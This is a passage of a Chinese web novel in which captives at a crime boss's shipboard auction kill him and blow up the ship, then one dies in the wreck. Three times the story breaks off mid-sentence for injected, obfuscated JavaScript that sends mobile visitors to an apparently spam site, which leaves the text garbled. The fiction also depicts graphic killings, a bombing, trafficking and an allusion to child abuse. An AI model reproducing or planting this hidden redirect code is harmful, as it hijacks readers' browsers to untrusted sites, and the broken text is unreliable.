张景点了点头,停下脚步,站在离初与序不远不近的地方,礼貌道: “晚上好,这位……身手不错的小姐。” 初与序微微侧过头,视线对上他的。因为被拽着的姿势,她需要稍微仰视,但这并没有让她显露出任何弱势。 “晚上好,张先生。”她平静如常道,“这迎接方式……挺别致。” “对待不请自来的客人,总要有点特殊安排。”张景向前走了两步,饶有兴致地打量她,“尤其是带着‘礼物’上门的客人。” 他意有所指地看向刚才遥控器飞出去的那片海面。 “不好意思,礼物被人踢飞出去了。”初与序道,“不知道收礼的人满不满意。” “满意,当然满意。”张景点了点头,“所以我这不是亲自来道谢,顺便想请小姐,和你的那位同伴上去喝杯茶,聊聊天?顺便……再参加一下拍卖会?” 初与序被后衣领勒着,声音有点闷:“没那个必要,张先生。” 张景审视着初与序,她就被这么粗暴地拽着衣领,悬在船边,脚下就是能吞噬一切的黑暗海水,生死完全捏在别人一念之间,说不准下一秒就会被扔进海里溺亡。可她身上的气息却显得悠哉悠哉,用过于清冷的眼睛看向她没有任何情绪波动。 张景脸上的笑容淡了点,这让他原本准备好的猫捉老鼠的戏谑心情打折扣,但随之升起的是更强烈的好奇。 “我有点好奇。”张景微微歪了歪头,“你看上去一点也不怕。是不相信我真的会松手,还是觉得就算掉下去,也无所谓?” 初与序闻言,向上牵了一下嘴角,说是笑,但没有丝毫笑意。 “你抓我,真正的目的不是为了听我惨叫或者求饶吧。”她说道,“既然你的目的不是这个,那我怕不怕,对结果有影响吗?” “有道理。”张景颔首,像是赞同她的话,“那你猜猜,我的目的是什么?” 初与序不假思索道:“用我当齐无尽的软肋,让他乖乖听你的话。” 张景轻轻拍了两下手:“聪明。” 就在这时,那道门再次被猛地推开,一个急促的人影冲出:“初与序——” 当齐无尽看清甲班上的情景时,愣在原地。 张景像是早就在等他,脸上没有意外,往初与序的方向又走了几步,就站在那个抓着初与序衣领的保镖旁边。他转过头看着齐无尽,打招呼道:“阿尽,你来啦。” 齐无尽看向初与序,初与序回望他,脸上竟然带着淡淡的笑意。那一瞬间,齐无尽恍惚以为被拽在那里的是那个吊儿郎当的初一。 他移开视线:“你放开她。” 张景仿佛没听见这句话,笑容更加和煦:“阿尽,这么着急做什么?这位小姐身手了得,胆识过人。我很欣赏。” “不过呢,欣赏归欣赏,规矩不能坏。她和你在我船上贴了些不太好的小玩意儿,还打算送我和在座各位一份‘大礼’这件事,总得有个说法。” 齐无尽盯着张景:“你想要什么说法?” “简单。”张景摊开一只手,“你跟我上去,拍卖会暂停了一会儿,客人们都等着呢。” “至于这位小姐……”他侧过头看了一眼被保镖拽着衣领,呼吸有些困难的初与序,“我看她水性应该不错,不如就请她下海游一会儿,清醒清醒。等你的事情办完了,我们再考虑要不要捞她上来。” “想得美。”齐无尽一字一句道。 “哦?”张景挑眉,幽幽道,“阿尽,你觉得你现在有资格跟我谈条件?” 他微微抬了抬手,抓着初与序衣领的保镖立刻会意,手臂向外松了半分力道。初与序的身体立刻向海面晃了一下! “等等!”齐无尽向前跨出一步,“我跟你走,放了她,让她回岸上。” “这就对了。”张景抬到一半的手停住,赞许地点了点头,随后看向初与序,惋惜道,“可惜了,本想请小姐下海一游的。” 初与序此刻终于开口,幽幽道:“他答应你了。可以松手了吗?勒得挺难受的。” 张景看了她一眼,随意地挥了挥手。保镖将初与序从船舷外拽了回来,随手将她往甲板中央一掼。初与序在半空中调整姿势,落地时稳住身形,拍了拍大衣上沾到的海水。 张景不再看初与序,将注意力重新放回齐无尽身上,笑容可掬:“那么阿尽,我们走吧?别让客人们等太久了。” 他说完转身,朝着门内走去。花衬衫和另外几个保镖立刻簇拥上,将齐无尽围在中间。 齐无尽回过头,最后看了一眼站在甲班上的初与序。 初与序站在甲板边,趁着保镖没注意,将刚刚掉在甲板上的短刀踢得更远了一点,滚落到没人注意的角落。夜风更烈,吹动她漆黑的长发和单薄的大衣衣角,身影在深沉的夜色中显得单薄。察觉到他的目光,初与序微微侧过头,朝他轻轻点了点头。 那点头的含义很模糊,像是确认,像是告别。 “你的刀在哪?”原先的保镖过来找刀,防止初与序猝不及防攻击人。 初与序摊开手,左右看了看:“被你们踢到海里去了吧。” “算了算了,赶紧带她上游艇,押回码头。”另一个保镖不耐烦地朝同事挥了挥手,“刀没了,遥控器也没了,谁知道她还有没有什么别的办法,别扰老板不高兴。” 齐无尽收回目光,跟上张景的队伍。 通往拍卖大厅的通道铺着地毯,听不见外面的风声和海浪声。宾客们现在都在拍卖会大厅,通道内除了他们,没有其他。 初与序被保镖押着向前走,走了大约十几步,张景突然停下脚步,抬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17237702|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了抬手。 跟在他身侧的花衬衫快走几步,打开通道侧面一个储物柜,从里面取出了一样东西。 那是一条……链子。 形状像手铐,很细,流光熠熠。链条由无数细密的金环编织而成,两端各有一个可调节松紧的环形扣,大小恰好能套出成年男性的手腕。而连接两个环形扣的主链很短,不过十公分左右。一旦戴上,佩戴者的双手将被死死固定在一起,几乎无法分开,更别提做出任何攻击和防御动作。 而在主链和环形扣边缘,还缀着几颗小巧的空心金铃铛,随着链子的晃动发出叮铃声。 齐无尽看到这金链,脸色瞬间黑了下去,下意识后退几步。 “张先生体谅,怕你待会儿在台上紧张,或者不小心碰到什么不该碰的东西,伤了客人,也伤了自己。”花衬衫拿着链子,一步步朝齐无尽走来。 他在齐无尽面前站定,将链子举到两人之间:“齐少爷,请吧?” 齐无尽没动,扫过那副金链,又看向背对着他的张景。如果正常上台,出现了什么意外,他可以动手,说不定能脱身。但如果戴上了这玩意,他就会任人宰割,除非把手腕砍断。 “看来,需要点帮助。”张景平淡道。 花衬衫笑了一声,猛地朝齐无尽扑去! 齐无尽侧身,险险躲开花衬衫抓来的手,一拳迅速打向左侧保镖的肋骨,右腿狠狠踹向右侧保镖膝盖。 但对方人数占优,还都是经验丰富的打手。花衬衫被躲开后立刻变招,握拳砸向齐无尽的后背!齐无尽吃痛,反应慢了半拍,左侧的保镖就抓住他挥出的手臂,另一个人箍住他的脖颈,齐无尽被三人合力按倒在地毯上。 花衬衫用膝盖重重顶住他的后背,这动作让齐无尽几乎无法呼吸。接着他迅速抽出别在腰后的电棍,按下开关,狠狠杵在齐无尽的腰侧! “呃啊——!!” 强烈的电流窜遍全身,身体不受控制地痉挛。剧痛和麻痹感让齐无尽发出一声痛苦的闷哼,失去了反抗能力。 花衬衫趁机抓住他的手腕,将金链的一边环形扣铐了上去,调节到最紧的档位。然后粗暴地扯过齐无尽另一只因为电击微微颤抖的手,将两只手并拢到身前,将另一边也铐上。 他松开齐无尽,站起身喘了口气,踹了蜷缩在地毯上的齐无尽一脚:“老实点!” 齐无尽倒在地上,急促喘息着,额头上布满了冷汗,脸色苍白。他的双手被金链紧紧铐在身前,只能勉强抬起小臂,更别说一会儿跟NPC打斗了。冰凉的金属紧紧贴着手腕,随着他的动作,铃铛发出刺耳的叮铃声。 张景踱步过来,居高临下地看着地上的齐无尽:“这样就好了。阿尽,记住你现在的身份。” 他顿了顿,威胁道:“还有那位小姐,现在就在我们安排的游艇上,正送她回去。你乖乖配合,他或许还能平安上岸。” 齐无尽闭了闭眼,长长的睫毛遮住了眼底情绪。他用手肘撑地摇摇晃晃站了起来。 张景满意地看着他完全受制于人的样子,不再多言,转身走向通道尽头通往拍卖大厅的大门。 花衬衫上前,用力推了齐无尽一把,示意他跟上。 324.昨日港 拍卖会大厅内,客人们百无聊赖地坐着,见张景一个人推开门上台,纷纷停下交谈,好奇地看向他。 “抱歉让各位久等。”张景轻描淡写道,“我带着为大家准备的惊喜来了,惊喜,此刻就等在外面。” 他走到拍卖台旁,伸出手搭在37号箱子上:“这份契约关于两个特别的年轻人,我想,如果仅仅把它锁在箱子里,由各位出价争夺,未免有些缺乏温度。” 他顿了顿,意味深长地笑起来:“毕竟,我们交易的不仅仅是纸面上的条款,更是活生生的人,和他们未来的人生,不是吗?” 台下响起几声心照不宣的附和低笑,张景似乎很满意这种氛围,继续说道:“巧的是,我在拍卖会开始前得知,这份契约其中一位关联的年轻人——齐无尽,他今晚恰好也在这艘告别号上。” 此言一出,台下泛起一阵骚动。许多人频频转头,四下张望,寻找那个红头发的身影。 “我想,既然主角之一在场,我们何不将他请上台来?”张景慢悠悠道,“让他亲眼看看,这份决定他命运的契约是如何被诸位评估、竞价。这岂不是比单纯拍卖一个冷冰冰的箱子要有趣得多?” 他转向门口:“于是,我将这位特殊嘉宾带过来了。” 紧接着,他朝着门口伸出手臂,掌心向上,那是个邀请的动作。 站在齐无尽身后的花衬衫毫不犹豫伸出手,抵住他的后背往前猛地一推。 齐无尽踉跄着被这股大力直接推进灯火通明的大厅中央,还没等站稳,张景已经一步上前,伸手一揽,将身形不稳的齐无尽揽到了自己身边。 齐无尽下意识抬起被铐住的手,想要推开他。 张景另一只手用力抓住了齐无尽手腕间那截短链,猛地向自己这边一拽。齐无尽被他硬生生拉得身体一歪,几乎撞进他怀里。张景顺势将手搭在他单薄的肩膀上,五指深深掐进他肩窝。 “别动。”张景低下头,贴到齐无尽耳廓,温和道。 大厅安静了几秒,随后就像投入滚油的冷水,爆发出激烈的欢呼声和口哨声。 “哈哈哈!有意思!”一个戴着威尼斯面具的胖子笑出声,用力拍了下沙发扶手。 “张先生果然会玩!有创意!” “这才叫拍卖嘛!” “看看,看看!多生动!” 所有人的目光都聚集在台上,齐无尽垂下眼,双手被金链死死铐在身前,手腕的皮肤被金属磨破,隐约有血丝渗出。 而他旁边,张景面带微笑,姿态从容,那只手依旧稳稳地压在齐无尽肩膀上,另一只手还安抚地在齐无尽胳膊上拍了几下。这个场面就像一个永远温和的家长,正在亲切管教着他那个桀骜不驯的孩子。 张景坦然地接受着台下灼热的目光,他侧过头,用只有两个人能听见的声音幽幽道:“阿尽,你看,大家都看着你呢。这才是你该在的位置。万众瞩目,明码标价。” 齐无尽身体僵硬,垂在身前的手握着拳,指甲掐进掌心,用疼痛抵抗着自己像一拳挥向张景的冲动。 “怎么不说话?”张景关切地问,随即恍然大悟道,“哦,看到这契约,是想起莫楠了吧?” 这个名字猝不及防地捅进齐无尽的心脏,他猛地一颤,下意识想抬头,却被肩膀上的手用力压了下去。 “她也是红头发。”张景轻轻咂了咂嘴,“是个很有意思的女人,聪明,漂亮,也够胆。可惜啊,她以为自己能赢,能带着你们飞走。她不知道,从她踏进黑鸢尾的那一刻起,牌局、对手、荷官,甚至她手里那副牌,从头到尾都是我安排好的。” “她以为她在赌命赢契约?”张景轻笑一声,嘲弄道,“她是在走进我给她准备好的断头台。” 他压低声音:“枪响的时候,她好像……还回头看了一眼门口的方向。是在等你吗?阿尽?” 齐无尽死死咬着春,口腔里弥漫开浓重的铁锈味。眼前不受控制地又浮现出那晚赌桌边的画面——楠姐红色的短发凌乱地遮挡在脸颊边,大阳穴上那个刺眼的黑洞汩汩往外冒着血。 他不知道当时楠姐是不是睁着眼,他没敢去看。 “砰!”张景嘴唇轻启,模拟出一声枪响,“就像这样。干净利落。” “你——!!”齐无尽猛地抬起头,眼底猩红一片,死死瞪着张景,怒道,“张景!你他妈——” 啪!一声,一记耳光狠狠扇在齐无尽脸上! 站在后方的花衬衫早就等着这一刻,下手又准又狠,力道十足。齐无尽的脸被打得猛地偏向一边,脸颊上浮起指引。嘴角裂开,血丝顺着嘴角蜿蜒流下。 齐无尽下意识抬起脚就要朝着花衬衫踹过去!花衬衫侧身躲开,又是一拳毫不留情捣在齐无尽腹部! 胃里翻江倒海,齐无尽眼前发黑,身体蜷缩下去,几乎要跪倒在地。但张景掐着他肩膀的手用力,强行将他拽住。 “哎呀,轻点嘛!”台下有人假惺惺开口,“张先生,这么漂亮的脸蛋,打坏了多可惜。我们看着都心疼。” “就是就是。”另一人附和道,“意思一下就行了,别影响待会儿的品相嘛。大家还等着评估呢。” 张景看着死死咬着牙不肯发出声音的齐无尽,俯下身凑近他,声音轻柔,眼神却冰冷:“疼吗?阿尽。” “你看,大家都喜欢你呢。”他用手蹭过齐无尽破裂的嘴角,将那点鲜红抹开,“怎么就这么不懂事,非要在这里闹?” “莫楠是自己找死,她太贪心,也太天真。”他字字诛心,“而你,你比她更蠢。你以为带着个小姑娘,弄点不知道从哪里搞来的炸药,就能扳倒我?还能给莫楠报仇?” 他直起身,慢条斯理地拍了拍身上并不存在的灰尘,转向台下,毫无诚意地道歉:“抱歉,让各位见笑了。孩子脾气大,不太懂事,需要管教。” “理解,理解。”台下又是一片虚伪的应和声。 张景轻轻推了齐无尽一下,让他面对台下,从容道:“那么,关于这份契约,以及它所关联的这位特殊资产。我们,继续?” 夜海无边,墨色翻涌。一艘小型游艇如离弦之箭劈开浪涛,朝着澳门码头飞驰。 初与序站在船尾甲板边缘,一名黑衣保镖站在她身后,警惕地盯着她。 “你没必要这么盯着我。”初与序头也不回。 “怎么?盯着你都不行?是不是又想干点什么?”保镖嗤笑一声,上下打量她单薄的背影,“再说了,你这小身板,能干出什么?” 初与序没接话,看向身后那片渐行渐远,灯火璀璨的告别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17237703|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 号。 “炸药还在船上。”她忽然开口,“你们不拆,就不怕它炸?” 保镖像是听到了什么笑话:“你那破遥控器早掉海里了,泡都泡烂了!炸?拿头炸?别他妈故弄玄虚!” 初与序闻言,扬起唇角,那笑容淡淡的,落在保镖眼里,让他心头莫名一寒。 驾驶舱里,另一个保镖掌握着方向,瞥了一眼后视镜。初与序忽然回头,看向驾驶舱方向:“麻烦开快点。” “怎么?赶着回去给那红毛收尸?还是想等着我们走了,你再找机会游回去救他?”那个保镖嘲弄道,“省省吧,到了码头,你自身都难保。老板说了,你归我们处理,还能掀起什么浪?” 站在初与序身后的保镖又凑近了些,污言碎语泼过来:“你说你,帮谁不好帮齐无尽?一个被张老板玩烂了的货色。要不是老板今天心情好,你也得跟他一样,被带上拍卖会!啧啧,就你这脸蛋,说不定比他还值钱……” 初与序沉默着,只庆幸齐无尽并不在这艘游艇上,没有听到侮辱他的话。她拿出手机,看了一眼时间。 “七千万!”一个戴着黄金面具的男人喊道。 拍卖会大厅里,气氛灼热,价格疯狂上升,短短几分钟就来到了七千万。 齐无尽站在拍卖台侧面,脸色苍白。每一次报价锤的落下,都仿佛砸在了他的脊梁上。张景就站在他身侧,每一次新的天价报出,他便会凑近齐无尽,轻声细语道: “听听,阿尽,七千万……为了买你们回去。你觉得你和你妹妹值这个价吗?” “八千万了。看来有人对你势在必得。不知道是哪位朋友?” 他的手指贴在齐无尽后颈暧昧地抚摸,齐无尽咬了咬牙,强忍愤怒。花衬衫就站在他身后,只要他有一丁点动作,就会毫不留情给他一拳。 恍惚间,报价已经冲破了一个亿。 “一亿!第一次!”拍卖师激动道。 很快又有人加价,张景的手掌整个贴上齐无尽的颈后,用力揉捏着那块皮肤:“一个亿啊,阿尽,你……” 齐无尽眼底最后一丝理智的弦即将崩断,他张口刚想说些什么—— 嗡—— 一声轻微的震颤声钻进他的耳膜,他愣了一下。 那声音不像来自喧嚣的大厅,也不像来自窗外的海浪。它仿佛来自极远之处,在飘渺的云层之上,深邃的河床之下,穿透了世俗的喧嚣与欲望。 大厅内无一人察觉,宾客们还沉浸在狂热之中。 后颈那只手突然加重力道,狠狠捏了他一下。齐无尽身体一颤,从奇异的感知中惊醒,侧头看向张景,面前还有些呆愣。 张景正似笑非笑地看着他:“走神?在想什么呢,阿尽。” 初与序突然转过头,打断了身后保镖喋喋不休的污言秽语。她面无表情,直直地看向那个保镖:“你觉得你什么都知道吗?” 保镖被她问得一愣,下意识“啊?”了一声,没反应过来。 初与序重复了一遍:“你觉得你什么都知道吗?” 她不再慵懒地靠着栏杆,站直身体。海风吹起她额前的碎发,露出一双清冽的眼睛。 保镖被她看得心里发毛,下意识后退了半步,摸向对讲机抵在唇边,准备呼叫同伴。 325.昨日港 齐无尽忽然朝着张景露出了一个温顺的笑容,长而密的睫毛轻轻颤动,在苍白的脸上投下淡淡的阴影。 “张景,你听到了吗?”他轻轻地说。 张景挑眉,不以为然,恶劣地压低声音:“哦?听到什么?听到你小时候在铂金皇宫发出的那些声音吗?那确实……非常悦耳动听。我到现在都忘不掉。放心,这份契约今晚不会被任何人拍走,你终究还是我的。” 齐无尽垂下了眸子,仿佛被这句话刺痛,又仿佛在掩饰着什么。 忽然,他抬起被金链铐在一起的双手,手肘弯曲,右手握拳,左手伸出食指指向头顶那片流光溢彩的玻璃穹顶。 他抬起头,脸上温顺的笑容褪去,浮现出近乎神性的嘲讽:“你听。” 嗡——! 这一次,声音不再是微弱的震颤。 它如同从沉睡中苏醒的巨兽,发出威严的怒吼!声波以无可阻挡之势,从不可知的高处俯冲而下,在幽暗的深海奔腾而上!瞬间席卷了整个拍卖会大厅! 所有宾客脸上的贪婪在这一刻齐刷刷凝固,然而碎裂成惊愕。 嗡——!!! 又是一声,如同巨浪,从告别号出发,横跨海面,狠狠撞上游艇! 船体剧烈一晃,保镖手中的对讲机差点脱手,他惊恐地抬手四望:“什么声音?!” 初与序安静地站着,衣袍翻飞,与惊慌的保镖对视。 轰——哗啦!!! 宾客们身后,正对着拍卖台的巨大观景窗应声炸裂,无数尖锐的玻璃碎片向内迸溅!离得最近的几个宾客同时惨叫出声,玻璃碎片深深扎进了他们的颈动脉,鲜血染红了他们昂贵的礼服! 一道银蓝色的流体如同天外飞星,穿透了破碎的玻璃,笔直地射向拍卖台上的齐无尽! 流光如电,高高扬起,向下切割! 凛凛清光,如同秋水漫过金属链条。只听一声清越的颤鸣,寒光一闪即逝! 齐无尽手腕一松。那副金链从正中间的短链断开!两截断链连同几个空心铃铛重重摔落在地毯上,发出最后几声哀鸣。 那道银蓝色的流光在空中一个转折,凝聚,光华内敛,化作一把通体流转冰蓝色寒芒的短刀。 刀身流畅,刀柄缠绕着雪花暗纹,靠近护手处刻着一朵小巧精致的勿忘我,静静绽放。冷铁映着窗外漏进来的星光与灯光,辉光流转,无声吟唱。 短刀在空中划出半弧,刀柄向上,狠狠撞向拍卖台上方的石膏天花板! 粉尘飞扬,石膏碎裂。一把漆黑锃亮的手枪从天而降,落入齐无尽微微发抖,早已张开的手掌中。 他虚虚一握,手指清晰地感觉到了扳机的坚硬,冰凉的触感直冲大脑,五指猛地收紧! 他掀起一直低垂的眼皮,枪口对准了面前的张景。 张景脸上的笑容还没来得及褪去,瞳孔猛地收缩,变尖。他惊恐地张大嘴,似乎想质问,想命令,想惨叫。 冥冥之中,有一个红色短发的身影在远处回头,朝着齐无尽露出张扬的灿烂笑容。齐无尽扣下了扳机—— 砰! 枪声不算特别响亮,盘旋着冲上穹顶,冲向浩瀚的夜空,然后顺着海风,掠过起伏的波浪,远远地飘荡开去。 远处海面上,夜栖的海鸟被惊飞,扑棱着翅膀四散飞逃。 子弹精准地贯穿了张景额头正中央,一朵凄艳的雪花在他眉心绽放。 张景的身体被子弹的冲击力带得向后猛地仰倒,双手张开,在半空中划出一道弧线,然后砰地重重摔倒在地板上。眼睛还睁着,瞳孔里的错愕,和最后一丝傲慢,瞬间被死亡的灰白遮盖,涣散。 枪响的余韵顺着海风和波浪,幽幽地飘荡到了这艘疾驰的游艇上。 一道银蓝色的刀光从深邃的夜色中破空而来!正对着那个举着对讲机,还没回过神的保镖。 下一秒,初与序矮身,右腿狠狠踹在保镖的脚踝!只听咔嚓的骨折声,保镖惨叫着向前扑倒!初与序借着一踹之力,身体凌空旋起,右手伸出,于半空中稳稳接住了那道飞射而来的短刀刀柄! 她握紧短刀,朝着那个刚才扑倒在地的保镖咽喉狠狠刺下! 保镖身体剧震,发出一声闷哼。 初与序手腕一拧,猛地将短刀拔出。一蓬鲜血随之扬起,溅落在冰冷的甲板上。驾驶舱里的保镖这才骇然回头,只看到同伴瘫倒在血泊里。 他惊恐地发出一声尖叫,抖着手摸向腰侧,刚拔出手枪,初与序就闪现到他面前,一脚踹到枪柄上。那把可怜的□□就脱手飞出,像之前的遥控器一样坠入漆黑翻涌的海水。 短刀已经抵上了他的咽喉,初与序冷冰冰道:“快点开船。” 保镖踉跄着扑回驾驶位,手忙脚乱地将油门推到底,朝着澳门码头方向奔逃。 所有宾客都像被施了定身术,僵在原地,死死盯着台上张景的尸体。直到刚才的胖子站起身,像被掐住脖子的公鸡般惨叫: “他他他——他杀人了!!杀人了——!!!” 恐慌蔓延开来,宾客们脸上的面具都遮不住恐惧,他们像受惊的兽群,尖叫着朝着远离拍卖台的方向后退。眨眼间,齐无尽周围空出一大片,只剩下张景的尸体和他自己。 大门被撞开!守在外面的保镖涌了进来,看到台上的景象,七八支手枪就同时抬起,对准了齐无尽! “杀了他——!”花衬衫目眦欲裂,发出一声怒吼,第一个扣动了扳机! 子弹擦着齐无尽肩膀飞过,带起一溜血花。 齐无尽身体晃了一下,他却站在原地一动不动。抬起没拿枪的手,用手背缓缓抹去脸颊上溅到的鲜血,表情漠然。 然后,他那只手在身前凭空一握,一个黑色的遥控器就出现在他掌心。正面有一个红色的圆形按钮,周围几个小指示灯正闪烁着绿光。 他的大拇指悬在红色按钮的上方,抬起头看向惊恐的花衬衫,露出一个微笑。 花衬衫瞳孔急剧缩小,用尽全身力气嘶吼出声:“快跑——!刚才的遥控器是假的!他的才是真——” 轰——!!! 花衬衫的最后一个字被一声从船体传来的巨响覆盖!整艘告别号仿佛被一只大手狠狠攥住,提起,又重重砸下!恐惧的震颤让所有人都站立不稳,东倒西歪! 几道赤红灼热的火龙从大厅中央破土而出!木材和地毯被卷起,沙发瞬间被点燃,化作熊熊火炬!水晶吊灯链条崩断,水晶砸落,在火光中反射出凄美的华光,然后粉碎! 托盘上没来得及撤下的烈酒被震倒,酒液泼洒而出,和火焰接触,瞬间爆燃! 一条炽热的火蛇沿着酒液蹿上天鹅绒窗帘,火焰攀附而上,眨眼间就将整面墙化作一片火海!火浪向着大厅每一个角落蔓延。 冲在最前面的花衬衫甚至没来得及做什么,就被一股从地板裂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17237704|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缝中喷涌而出的气浪击中,身体被掀飞,撞碎了旁边的玻璃,带着一身火焰直直坠向甲板下方的火海之中,消失不见。 一个保镖勉强稳住身形,抬起枪口,一根钢梁就从天花板上坠落,砸在他身上! 保镖的身体被拦腰砸断,上半身滚落进火堆,下半身还突兀地站立了一会,才倒下。鲜血被高温蒸腾,白烟上升。 “救命——!” “着火了!” “让开!让我先出去!” 宾客们早就丢掉了体面和矜持,像无头苍蝇一样四散奔逃,寻找着任何出口。但火焰没有怜悯,它贪婪地吞噬着一切,只是几个呼吸间,原本奢华的大厅就变成了一座恐怖的炼狱。浓烟滚滚,热浪灼人,再听不到其他属于人类的声音。 齐无尽站在原地,周围是咆哮的火海和崩塌的废墟。 他头顶正上方的天花板发出一连串咔嚓声,一根巨大的主梁被爆炸严重破坏,正缓缓向下偏移。 齐无尽像是终于耗尽了所有力气,他握着遥控器的手轻轻一松。遥控器滑落,掉进脚边的地板裂缝中,被下方翻涌的火海吞没。 钢梁连接处的铆钉一颗颗崩飞。 半秒后,它挣脱了最后的束缚,带着燃烧的烈焰,笔直地朝着下方孤零零的身影当头砸下! 齐无尽有些恍惚地抬起头。 视野里,是急速放大,燃烧的钢铁黑影。 还有黑影后方,那被火光映成瑰丽又诡异的橘红色玻璃穹顶外,那片广袤无垠的、深邃的夜空。 滴呜——滴呜滴呜滴呜——!!! 澳门半岛,夜晚的宁静被打破。 沿海大道、码头区,乃至半山豪宅区,无数红蓝光芒透过夜色,警笛声从四面八方响起,汇聚成急促又肃杀的海洋。 “现在插播一条本台刚刚收到的紧急消息。大约半小时前,一艘名为‘告别号’的豪华私人邮轮,在公海水域发出剧烈爆炸并引发大火。” “本台获得的有限画面显示,该船火势极为猛烈,整艘船已被浓烟和火焰完全包裹。据海事部门及附近船只传来的初步消息,爆炸原因不明,船上人员情况未知。” 画面切换,那是个摇晃的,远距离拍摄的镜头——漆黑的海天之间,一个巨大的火球正在熊熊燃烧,照亮了周围小片翻滚的海浪。浓烟滚滚升腾,直冲夜空。 “由于事发地址巨力澳门码头较远,且火势异常凶猛,海况复杂,救援船只和直升机预计需要相当长时间才能抵达现场展开有效救援。澳门警方、消防及海事部门已启动最高级别紧急预案,正在全力协调各方力量。” “另据本台刚刚收到的独家消息,几乎在同一时间,一份匿名的u盘被送达到澳门警察总局。警方内部人士向本台证实,u盘内的文件内容,直指澳门□□业巨头——铂金皇宫集团及其创始人张景。” “证据涉嫌多项极其严重的犯罪行为,包括且不限于:长期组织非法赌博、巨额洗钱、跨境人口贩卖、胁迫及伤害,甚至与多起悬而未决的命案有关联。证据链条之万丈、细节之详实,令人震惊,足以撼动整个相关网络。目前,澳门警方高度重视,已紧急调派精干力量,对u盘内容进行鉴定核实,并可能据此展开大规模调查及抓捕行动。” “有关‘告别号’爆炸事件与u盘匿名举报之间是否关联,目前尚无任何官方说法。本台将持续关注事件进度,为您带来最新消息。” 326.昨日港(完) 告别号在墨色的海面上静静漂浮,烈焰舔舐着夜空。船体内部早已面目全非,大部分区域只剩下焦黑的框架和余烬。 在一处被几根钢梁和断裂船板掩埋的角落里,齐无尽还有最后一点微弱的意识。 他被压在最下面,除了身上其他部位的钢梁,还有一根粗大的钢管横压在他正上方,挡住了他的视线,只留下上方一小片夜空。 他还抬起手,想去推开那根钢管,想看一眼外面的世界,或者只是想动一下,确认自己还存在。但仅仅只轻轻抬手,就引发了全身的剧痛。 腹部已经麻木,只剩下温热的湿意和不断流失的体温。每一次呼吸都牵扯着破碎的内脏,带来窒息。齐无尽试着动了一下,手指甚至没能抬起来,便放弃了。 他静静躺在那里,听着火焰在远处噼里啪啦作响。 ——一只苍白、修长、沾着烟灰和血迹的手出现在他上方,那只手抓住了压在最上方的钢管边缘,然后用力向旁边一推。 沉重的钢管被挪开,滚落一旁。 上方,那片被火光映照的夜空终于完整地呈现在齐无尽面前,紧接着,一个人影在他身边蹲下。 初与序脸上没什么表情,看了看齐无尽被压住的情况,伸出手小心地拨开了压在他胸口的一小截断裂的钢管,然后表情犹豫了一下。 “齐无尽。”她平淡地说,“我可能救不了你了。” “钢筋刺穿了你的腹部。” 齐无尽侧过头看向她,因为失血过多,他的视线已经有些模糊,但还能看清初与序脸上的平静。 “……我、知道。”他动了动嘴唇,“你……怎么来了……” “我礼貌询问了开游艇的保镖,愿不愿意再把我带回来。”初与序回答,“他同意了,我回来看看你还有没有救。” 齐无尽牵动了一下嘴角,似乎想笑,但这个动作又引出了更多的血,从他苍白的唇边流下,滴落在颈侧。 初与序看着他,没有替他擦拭,也没有移开目光。她只是静静地看着,然后开口: “现在,可以把相机给我了吗?” 齐无尽和她对视。火光在她身后跳跃,将她的轮廓勾勒出一道忽明忽暗的金边。她脖颈右侧的疤痕已经定格下来,不再加深,在冷白的皮肤上若隐若现。 他费力地问:“现在……你知道那两个问题的、答案了吗?” 初与序很轻地点两下头:“知道。” 她话音落下,一个黑色的录像机凭空出现在两人身边的地板上,和初与序记忆里的一模一样。初与序将它拿了起来,没有现在就打开查看,而是仔细看了看它的外观,然后收回面板。 她重新看向齐无尽,继续道:“意哥把银行卡和机票给我了。如果我能回到现实,会把你妹妹安全送上飞机。” “无恙早上问我……”齐无尽声音更低了,几乎气若游丝,“你愿不愿意……跟我们一起去里斯本。” “她……很喜欢你。等回了现实……你愿意、去里斯本……陪她几天吗?” 初与序沉默了几秒,火光在她眼中跳动,映不出什么情绪。 “愿意。”初与序说道,“但我认为,到时候不需要我陪她去了。” 齐无尽眼里掠过一丝困惑,他不明白她这话的意思,但也没有力气再去追问。 他重新抬眼看向初与序,这不是他第一次认真地看她,但或许是最后一次。 她的皮肤白得惊人,黑发垂落几缕在脸颊边,眉眼淡如远山黛痕,细眉薄唇,眼下透出睡眠不足的淡淡青黑。 齐无尽忽然觉得,用勿忘我来形容初与序,再贴切不过了——她像雪地里半支安静绽放的勿忘我,蓝意幽幽,静得教人不敢惊动,仿佛一碰就会消散在风雪里,却又留下一点清冷恒久的印记,让人无法忘记她。 